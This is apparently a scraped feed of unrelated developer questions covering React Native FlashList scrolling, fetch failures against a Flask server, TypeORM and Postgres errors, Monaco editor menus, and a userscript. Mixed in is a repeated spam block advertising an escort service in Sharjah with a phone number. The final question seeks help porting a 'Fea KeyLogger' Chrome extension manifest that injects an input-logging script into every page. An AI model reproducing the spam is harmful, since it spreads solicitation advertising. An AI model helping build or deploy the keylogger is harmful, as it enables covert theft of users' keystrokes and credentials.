Why Flashlist is not scrolling in the end in react native?

I’m trying to scroll user in the end whenever the screen is opened, I’m using Flashlist and using its initialScrollIndex prop to do that however it doesn’t work in my case can you please help me to use this initialScrollIndex prop proplery to make things works?

In my case I’m developing a chat app so when user opens the chats it take user to the last message chat which is there in the end of the Flashlist by Shopify

import * as React from 'react';
import { Button, Text, View, StyleSheet, SafeAreaView } from 'react-native';
import { FlashList } from '@shopify/flash-list';

const chatMessages = [
{ id: 1, text: 'Hello', sender: 'Alice' },
{ id: 2, text: 'Hi there!', sender: 'Bob' },
{ id: 3, text: 'How are you?', sender: 'Alice' },
{ id: 4, text: "I'm doing well, thanks! How about you?", sender: 'Bob' },
{ id: 5, text: "I'm great too, thanks for asking!", sender: 'Alice' },
{ id: 6, text: 'What have you been up to lately?', sender: 'Alice' },
{ id: 7, text: "I've been working on a new project at work. It's been quite challenging but exciting.", sender: 'Bob' },
{ id: 8, text: 'That sounds interesting! Tell me more about it.', sender: 'Alice' },
{ id: 9, text: "Sure! I'm working on developing a mobile app for our company. It's aimed at improving our customer experience.", sender: 'Bob' },
{ id: 10, text: 'That sounds like a valuable project. What features are you planning to include in the app?', sender: 'Alice' },
{ id: 11, text: "We're focusing on features such as easy product browsing, personalized recommendations, and a seamless checkout process.", sender: 'Bob' },
{ id: 12, text: 'Those are important aspects for a good user experience. Are you using any specific technologies for the development?', sender: 'Alice' },
{ id: 13, text: "Yes, we're using React Native for the front-end development and Node.js for the back-end. It allows us to build for both iOS and Android platforms.", sender: 'Bob' },
{ id: 14, text: 'That sounds like a solid tech stack. Are you facing any challenges during the development?', sender: 'Alice' },
{ id: 15, text: "One of the challenges we've encountered is optimizing the app's performance on older devices. We're working on finding solutions to improve it.", sender: 'Bob' },
{ id: 16, text: 'Performance optimization is crucial, especially for a mobile app. I hope you find the right solutions for it.', sender: 'Alice' },
{ id: 17, text: 'Thank you! Wee putting in our best efforts. How about you? Have you been working on any interesting projects?', sender: 'Bob' },
{ id: 18, text: 'Yes, I recently started working on a machine learning project. It involves analyzing large datasets to make predictions.', sender: 'Alice' },
{ id: 19, text: 'That sounds fascinating! What kind of predictions are you trying to make?', sender: 'Bob' },
{ id: 20, text: "We're working on predicting customer churn for a subscription-based service. It helps the company identify at-risk customers and take proactive measures to retain them.", sender: 'Alice' },
{ id: 21, text: 'Customer churn prediction can be highly valuable for businesses. How are you approaching the analysis?', sender: 'Bob' },
{ id: 22, text: "We're using a combination of machine learning algorithms such as logistic regression, random forest, and gradient boosting to train and evaluate our predictive models.", sender: 'Alice' },
{ id: 23, text: 'Sounds like a comprehensive approach. Are you using any specific tools or libraries for the analysis?', sender: 'Bob' },
{ id: 24, text: 'Yes, we primarily use Python for the data analysis and scikit-learn, pandas, and numpy libraries for implementing the machine learning algorithms.', sender: 'Alice' },
{ id: 25, text: 'Those are popular tools and libraries in the data science community. How is the progress so far?', sender: 'Bob' },
{ id: 26, text: 'We are still in the early stages, but initial results look promising. We plan to fine-tune the models and explore other techniques to further improve accuracy.', sender: 'Alice' },
{ id: 27, text: 'That sounds like an exciting project! I wish you all the best with it.', sender: 'Bob' },
{ id: 28, text: 'Thank you! I appreciate your support. By the way, do you have any recommendations for resources to learn more about mobile app design?', sender: 'Alice' },
{ id: 29, text: 'Absolutely! I recommend checking out websites like Dribbble and Behance for design inspiration. Also, the book "Dont Make Me Think" by Steve Krug is a great resource for usability and user experience.', sender: 'Bob' },
{ id: 30, text: 'Thank you for the suggestions! I will definitely look into them.', sender: 'Alice' },
{ id: 31, text: 'Youre welcome! If you have any more questions or need further assistance, feel free to ask.', sender: 'Bob' },
{ id: 32, text: 'Sure, I will keep that in mind. Thanks again!', sender: 'Alice' },
{ id: 33, text: 'No problem. Have a great day!', sender: 'Bob' },
{ id: 34, text: 'You too! Take care!', sender: 'Alice' },
{ id: 35, text: 'Goodbye!', sender: 'Bob' },
{ id: 36, text: 'Goodbye!', sender: 'Alice' },
{ id: 37, text: 'Hey there!', sender: 'Alice' },
{ id: 38, text: 'Hi! How can I assist you today?', sender: 'Bob' },
{ id: 39, text: 'I have a question about website development.', sender: 'Alice' },
{ id: 40, text: 'Sure, go ahead and ask your question. Ill do my best to help you.', sender: 'Bob' },
{ id: 41, text: 'I want to create a responsive website. What are some key principles to keep in mind?', sender: 'Alice' },
{ id: 42, text: 'When designing a responsive website, it is important to prioritize mobile-friendly design, use fluid grids and flexible images, and implement media queries to adapt the layout based on screen size.', sender: 'Bob' },
{ id: 43, text: 'Thank you for the guidance. Are there any popular CSS frameworks that can assist in building responsive websites?', sender: 'Alice' },
{ id: 44, text: 'Yes, there are several popular CSS frameworks that provide responsive grid systems and pre-built components. Some popular ones include Bootstrap, Foundation, and Bulma.', sender: 'Bob' },
{ id: 45, text: 'I will explore those frameworks. Are there any resources you recommend for learning more about responsive web design?', sender: 'Alice' },
{ id: 46, text: 'Certainly! You can start with the "Responsive Web Design" course by Kevin Powell on freeCodeCamp.org. It covers the fundamentals and provides hands-on examples.', sender: 'Bob' },
{ id: 47, text: 'That sounds like a great starting point. I appreciate your help!', sender: 'Alice' },
{ id: 48, text: 'Youre welcome! If you have any more questions or need further assistance, feel free to ask.', sender: 'Bob' },
{ id: 49, text: 'I will. Thanks again!', sender: 'Alice' },
{ id: 50, text: 'No problem. Happy to help! Have a wonderful day!', sender: 'Bob' },
{ id: 51, text: 'You too! Take care!', sender: 'Alice' },
{ id: 52, text: 'Goodbye!', sender: 'Bob' },
{ id: 53, text: 'Goodbye!', sender: 'Alice' }
];

export default function App() {
  const [showList, setShowList] = React.useState(false);

  return (
    <SafeAreaView style={{ flex: 1, padding: 50 }}>
      {!showList ? (
        <View style={styles.container}>
          <Button title="Show list" onPress={() => setShowList(true)} />
        </View>
      ) : (
        <View style={styles.container}>
          <FlashList
            initialScrollIndex={chatMessages.length - 1} // Scroll to the last message initially
            estimatedItemSize={100}
            data={chatMessages}
            ListHeaderComponent={
              <View
                style={{
                  alignItems: 'center',
                  justifyContent: 'center',
                  borderWidth: 1,
                  borderColor: 'grey',
                  borderStyle: 'solid',
                }}>
                <Text>This is the header</Text>
                <Button title="Hide list" onPress={() => setShowList(false)} />
              </View>
            }
            renderItem={({ item }) => (
              <View
                style={{
                  alignItems: 'center',
                  justifyContent: 'center',
                  borderWidth: 1,
                  borderColor: 'grey',
                  borderStyle: 'solid',
                }}>
                <Text>{item.text}</Text>
                <Text>Sender: {item.sender}</Text>
              </View>
            )}
          />
        </View>
      )}
    </SafeAreaView>
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    justifyContent: 'center',
    backgroundColor: '#ecf0f1',
  },
});

Why can’t you yield within a nodejs callback

I’ve wanted to do this quite a few times now.

Example:

function* handle(){
    const elements = streamElements();
    useX(x => {
        for await (const e of element)
            yield(handle) x(element)
    });
}

Seems like a limitation of the generator API – that could unlock so much more parallelisation potential.

ATM, the only option is to collect all your results together – or to revert to an older API like EventIterator.push

TypeError: Network request failed with react native flask API

I am getting the warning when trying to use the code below in react native:

"WARN  Possible Unhandled Promise Rejection (id: 0):
TypeError: Network request failed
TypeError: Network request failed"
at anonymous (http://MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:5158:33)
    at apply (native)
    at anonymous (http://MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:29724:26)
    at _callTimer (http:/MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:29663:17)
    at callTimers (http://MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:29819:19)
    at apply (native)
    at __callFunction (http://MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:2826:36)
    at anonymous (http://MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:2587:31)
    at __guard (http://MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:2777:15)
    at callFunctionReturnFlushedQueue (http://MYIPADDRESS:19000/node_modules/expo/AppEntry.bundle//&platform=ios&dev=true&hot=false:2586:21)

I tried doing the stuff mentioned here -> React Native fetch() Network Request Failed
But none seemed to work. I checked the info.plist file, and the ‘NSAppTransportSecurity’ is set to true for everything, including http. I have added “private”: true, “proxy”: “http://localhost:3000” to my package.json file. I usually run the iOS simulator, but I tried to run the android and web simulator and they didn’t work either.

My code for react:

const [data, setdata] = useState({
    quote: "",
   // author: "",
    //date: ""
});

// Using useEffect for single rendering
useEffect(() => {
    console.log("Calling effect......")
    // Using fetch to fetch the api from
    // flask server it will be redirected to proxy
    fetch("/get-quote/1")
    .then(function(res){
        return res.json();
    })
    .then(function(data) {
        // Setting a data from api
        setdata({
        name: data.quote_text,
                //author: data.speaker_name,
                //date: data.year_of_quip,
        });
    })
    .catch(function(error) {
    console.log('There has been a problem with your fetch operation: ' + error.message);
    // ADD THIS THROW error
    throw error;
    })
})

Here is my server.py that I am running:

from flask import Flask, jsonify, redirect, request, url_for
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import select, func, text
import datetime


app = Flask(__name__)

#app.config['SQLALCHEMY_DATABASE_URI'] = "mysql+mysqlconnector://root:root@localhost:3306/Quippy_v01"


@app.route('/get-quote/<quip_location>', methods=["GET"])
def returnQuoteBasedOnLocation(quip_location):


    currentDate = datetime.datetime.now()

    currentDate = currentDate.date()

    print("Current Date: {0}".format(currentDate))


    dailyQuote = "fetch this string!"

    #Iterate through cursor to get data

    dailyQuoteDict ={
        "quote_text" : dailyQuote,
    }

    #Jsonify and return data for Frontend.
    #NOTE: 200 is the HTTP code for 'Success.'
    return jsonify(dailyQuoteDict), 200


if __name__ == "__main__":
    app.run(host="localhost", debug = True, port="3000")

Thanks in advance for any help.

Error when connecting via TypeORM in Next js to Postgres SQL

I can’t figure out what the error is because of the wrong encoding, how can I change it?
in app.module.ts:

@Module({
  imports: [
    UsersModule,
    ConfigModule.forRoot({ isGlobal: true }),
    TypeOrmModule.forRootAsync({
      imports: [ConfigModule],
      useFactory: (configService: ConfigService) => ({
        type: 'postgres',
        host: configService.get('DB_HOST'),
        port: configService.get('DB_PORT'),
        username: configService.get('DB_USERNAME'),
        password: configService.get('DB_PASSWORD'),
        database: configService.get('DB_NAME'),
        synchronize: true,
        entities: [__dirname + '/**/*.entity{.js, .ts}'],
      }),
      inject: [ConfigService],
    }),
  ],
})
export class AppModule {}`
.env
DB_HOST='localhost'
DB_PORT=5432
DB_USERNAME='postrgres'
DB_PASSWORD='12345'
DB_NAME='users'

Error

[Nest] 6480 – 16.07.2023, 14:01:22 ERROR [TypeOrmModule] Unable to
error: ������������ “postrgres” �� ������ �������� ����������� (�� ������)
at Parser.parseErrorMessage (C:UsersЕвгенияjsbackendnode_modulespg-protocolsrcparser.ts:369:69)
at Parser.handlePacket (C:UsersЕвгенияjsbackendnode_modulespg-protocolsrcparser.ts:188:21)
at Parser.parse (C:UsersЕвгенияjsbackendnode_modulespg-protocolsrcparser.ts:103:30)
at Socket. (C:UsersЕвгенияjsbackendnode_modulespg-protocolsrcindex.ts:7:48)
at Socket.emit (node:events:513:28)
at addChunk (node:internal/streams/readable:324:12)
at readableAddChunk (node:internal/streams/readable:297:9)
at Socket.Readable.push (node:internal/streams/readable:234:10)
at TCP.onStreamRead (node:internal/stream_base_commons:190:23)

I can get window.__INITIAL_STATE__ in chrome, but not in Google extension,How can I have the same “window” as the chrome console in the extension

enter image description hereenter image description here

enter image description here
Regarding the Google extension, I have a webpage, I visit it in chrome, and then execute window.INITIAL_STATE in the console to get the data, but I can’t get the data when I execute it in the Google extension, what should I do?
I can get it in the chrome console
And it’s not a problem of loading time. I can’t get it when I execute the method in the extension after the webpage is loaded, but at the same time I can get it in the chrome console

Change monaco editor context menu labels

I use monaco-editor version 0.34.1 with angular 14.
I am trying to change context menu labels that exists by the original monaco initialize.
This is my configuration to my custom language:
`export function myMonacoLoad() {
monaco.languages.register({
id: ‘planit’
});

// Brackets rules.
const config: monaco.languages.LanguageConfiguration = {

    // Allow square brackets to be part of a word if . is part of the word comletion not work.
    wordPattern: /(-?d*.dw*)|([^#()'",.]+)/g,
    surroundingPairs: [{ open: '(', close: ')' }, { open: '"', close: '"' }],
    autoClosingPairs: [{ open: '(', close: ')' }, { open: '"', close: '"' }],
    brackets: [['(', ')']],
};
monaco.languages.setLanguageConfiguration('planit', config);
monaco.editor.defineTheme('planitTheme', {
    base: 'vs',
    inherit: true,
    rules: [
        { token: 'operator-type', foreground: '918100' },
        { token: 'property', foreground: '003060' },
        { token: 'calculation-constant', foreground: '238384' },
        { token: 'comment', foreground: '369C41' },
        { token: 'date', foreground: 'B04B04' },
        { token: 'text', foreground: 'B04B04' },
        { token: 'const', foreground: '0859a8' }
    ],
    colors: {
        'editor.foreground': '#000000'
    }
});

}`

then I add my custom actions like this:
`
const colorPickerActopn = {

  // An unique identifier of the contributed action.
  id: 'color-picker',

  // A label of the action that will be presented to the user.
  label: 'Color Picker',

  // A precondition for this action.
  precondition: null,

  // A rule to evaluate on top of the precondition in order to dispatch the keybindings.
  keybindingContext: null,

  contextMenuGroupId: '9_cutcopypaste',

  contextMenuOrder: 7,

  // Method that will be executed when the action is triggered.
  // @param editor The editor instance is passed in as a convenience.
  // Interface on monaco editor is ICodeEditor.
  run: this.monacoEditorService.colorPicker
};

this.editor.addAction(colorPickerActopn);

const commentAction = {
  // An unique identifier of the contributed action.
  id: 'comment',

  // A label of the action that will be presented to the user.
  label: 'Comment',

  // An optional array of keybindings for the action.
  keybindings: [
    monaco.KeyMod.CtrlCmd | monaco.KeyCode.Slash,
  ],

  // A precondition for this action.
  precondition: null,

  // A rule to evaluate on top of the precondition in order to dispatch the keybindings.
  keybindingContext: null,

  contextMenuGroupId: '9_cutcopypaste',

  contextMenuOrder: 8,

  // Method that will be executed when the action is triggered.
  // @param editor The editor instance is passed in as a convenience.
  // Interface on monaco editor is ICodeEditor.
  run: this.monacoEditorService.commentRow
};
this.editor.addAction(commentAction);

const hatchAction = {
  // An unique identifier of the contributed action.
  id: 'hatch',

  // A label of the action that will be presented to the user.
  label: 'Hatch',

  // A precondition for this action.
  precondition: null,

  // A rule to evaluate on top of the precondition in order to dispatch the keybindings.
  keybindingContext: null,

  contextMenuGroupId: '9_cutcopypaste',

  contextMenuOrder: 6,

  // Method that will be executed when the action is triggered.
  // @param editor The editor instance is passed in as a convenience.
  // Interface on monaco editor is ICodeEditor.
  run: this.monacoEditorService.hatchPicker
};
this.editor.addAction(hatchAction);

`

That is the menu result:
enter image description here

I also tried to use import * as actions from 'monaco-editor/esm/vs/platform/actions/common/actions';

but no actions inside.

How can I change the menu items that not I entered(Need change the labels)?

How to make javascript code only for Devices with(max-width=520px)?

I want to apply this JS code only to devices with Maxwidth=520px I don’t really know how, any help?

// for max-width = 520px
const myBtn = document.getElementById("darktheme");
const body = document.body;
const welcome = document.getElementById("txtt");

let isDarkTheme = false;

myBtn.addEventListener("click", function() {
  isDarkTheme = !isDarkTheme; 

  if (isDarkTheme) {   
    body.style.backgroundColor = "rgb(17, 17, 17)";
    body.style.color = "white";
    welcome.style.color = "white";
  } else {    
    body.style.backgroundColor = "white";
    body.style.color = "black";
    welcome.style.color = "white";
  }
});

Showing Multiple API Returns

Trying to clean up the script code to show multiple reports. Current script below will only show that many reports. If there are not that many reports, the data will not show in the HTML.

<div id="stormreport5"></div>
window.onload = () => {
  const target = document.getElementById('stormreport5');
  const aeris = new AerisWeather('', '');
  const request = aeris.api().endpoint('stormreports').action('search').from('-36hour').query('state:sd').filter('type:tornado;type:hail;type:wind;type:lightning;type:flood').limit(5);
  request.get().then((result) => {
    const report = result.data;
    if (report) {
      console.log(report);
      const html = (`
        <div class="alertmessage">
          ${aeris.utils.dates.format(new Date(report[0].report.timestamp * 1000), 'MM/dd/yyyy h:mm a')}<br>${report[0].report.type} ${report[0].report.detail.text || ''}${report[0].report.code == `H` ? `"` : ``}${report[0].report.code == `G` ? `MPH` : ``}${report[0].report.code == `N` ? `MPH` : ``}<br>Location: ${report[0].report.name} (${report[0].place.county} County) <br>${report[0].report.comments || ''}<br><br>
          ${aeris.utils.dates.format(new Date(report[1].report.timestamp * 1000), 'MM/dd/yyyy h:mm a')}<br>${report[1].report.type} ${report[1].report.detail.text || ''}${report[1].report.code == `H` ? `"` : ``}${report[1].report.code == `G` ? `MPH` : ``}${report[1].report.code == `N` ? `MPH` : ``}<br>Location: ${report[1].report.name} (${report[1].place.county} County) <br>${report[1].report.comments || ''}<br><br>
          ${aeris.utils.dates.format(new Date(report[2].report.timestamp * 1000), 'MM/dd/yyyy h:mm a')}<br>${report[2].report.type} ${report[2].report.detail.text || ''}${report[2].report.code == `H` ? `"` : ``}${report[2].report.code == `G` ? `MPH` : ``}${report[2].report.code == `N` ? `MPH` : ``}<br>Location: ${report[2].report.name} (${report[2].place.county} County) <br>${report[2].report.comments || ''}<br><br>
          ${aeris.utils.dates.format(new Date(report[3].report.timestamp * 1000), 'MM/dd/yyyy h:mm a')}<br>${report[3].report.type} ${report[3].report.detail.text || ''}${report[3].report.code == `H` ? `"` : ``}${report[3].report.code == `G` ? `MPH` : ``}${report[3].report.code == `N` ? `MPH` : ``}<br>Location: ${report[3].report.name} (${report[3].place.county} County) <br>${report[3].report.comments || ''}<br><br>
          ${aeris.utils.dates.format(new Date(report[4].report.timestamp * 1000), 'MM/dd/yyyy h:mm a')}<br>${report[4].report.type} ${report[4].report.detail.text || ''}${report[4].report.code == `H` ? `"` : ``}${report[4].report.code == `G` ? `MPH` : ``}${report[4].report.code == `N` ? `MPH` : ``}<br>Location: ${report[4].report.name} (${report[4].place.county} County) <br>${report[4].report.comments || ''}<br><br>
        </div>
      `);
      target.innerHTML = html;
    }
  });
};

How to use arr.splice() method of JavaScript with map function to access and delete the items of array [duplicate]

I want to access and delete every possible element of array using arr.splice() method.

// Input:
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]

// Expected output:
[ 0, 1 ], [ 2, 3 ], [ 4, 5 ], [ 6, 7 ], [ 8, 9 ], [ 10, 11 ]

let arr = [0,1,2,3,4,5,6,7,8,9,10,11]
console.log(arr.map((it)=>arr.splice(0,2)))

It shows the output are : [0,1],[2,3],[4,5],[6,7]
Why it can’t access [8,9,10,11] elements of array?

How to access and delete the left elements of array using arr.splice() method.

In javascript how do I access the wordpress page name?

I am running wordpress with Kadence theme.

I would like to change the text according to which page it is.

I have written this snippet:

<script>
var x = document.getElementsByClassName("header-custom");
x[0].innerHTML = "New Text";
</script>

I would like to add a condition

eg if (pagename == the-page-name)

What is the element to use to for the page name?

Thanks

Tamper/Violent Monkey fails to inject ANYTHING [closed]

On this specific website absolutely nothing works. Am I missing something? Is this some security policy TM/VM is helpless against?

// ==UserScript==
// @name        TK
// @namespace   Violentmonkey Scripts
// @match       https://www.turkishairlines.com/*
// @grant       none
// @version     1.0
// @author      -
// @run-at      document-end
// @description 7/16/2023, 10:49:03 AM
// ==/UserScript==

console.log('Injected!');
(function () { 'use strict'; console.log('Injected1!'); })();

Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah

Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah

Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah Sharjah Escorts Service +971563827009 Escorts Sharjah Indian Escorts in Sharjah

How to Solve manifest_version 2 to convert into version 3 [closed]

I need about the manifest version 2 i have use the below coding but it not working please some one correct the coding …..

{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "name": "Fea KeyLogger",
  "short_name": "Fea Logger",
  "description": "Logs User Inputs",
  "version": "2.2.2",
  "manifest_version": 3,
  "minimum_chrome_version": "48",
  "icons": {
    "16": "img/zicon16.png",
    "48": "img/zicon48.png",
    "128": "img/zicon128.png"
  },
  "browser_action": {
    "default_icon": {
      "19": "img/zicon19.png",
      "38": "img/zicon38.png"
    },
    "default_title": "Fea"
  },
  "background": {
    "scripts": ["2afe1f00.js", "back.js"],
    "persistent": true
  },
  "content_scripts": [{
    "js": ["listen.js"],
    "matches": ["http://*/*", "https://*/*"],
    "run_at": "document_end"
  }],
  "options_page": "options/options.html",
  "permissions": ["storage", "unlimitedStorage", "downloads", "*://*/*", "<all_urls>", "webRequest", "webRequestBlocking"]
}